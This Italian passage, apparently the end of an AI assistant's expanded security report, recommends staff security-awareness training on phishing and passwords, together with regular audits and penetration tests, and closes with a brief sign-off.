Per garantire una sicurezza resiliente e proattiva, oltre alle misure tecniche sopra elencate, è fondamentale investire nella **formazione continua del personale** in materia di consapevolezza sulla sicurezza informatica. Gli utenti finali rappresentano spesso l'anello più debole della catena di sicurezza; educarli sui rischi di *phishing*, *social engineering* e sulle migliori pratiche per la gestione delle password può ridurre significativamente la superficie di attacco.

L'esecuzione regolare di **audit di sicurezza interni ed esterni**, combinata con test di penetrazione periodici (anche in modalità WhiteBox, per una visibilità interna più profonda), è indispensabile per identificare nuove vulnerabilità e garantire l'efficacia delle contromisure adottate in un panorama di minacce in continua evoluzione.



Spero che questa versione estesa sia ancora più esaustiva e professionale, fornendo un quadro completo delle vulnerabilità e delle raccomandazioni!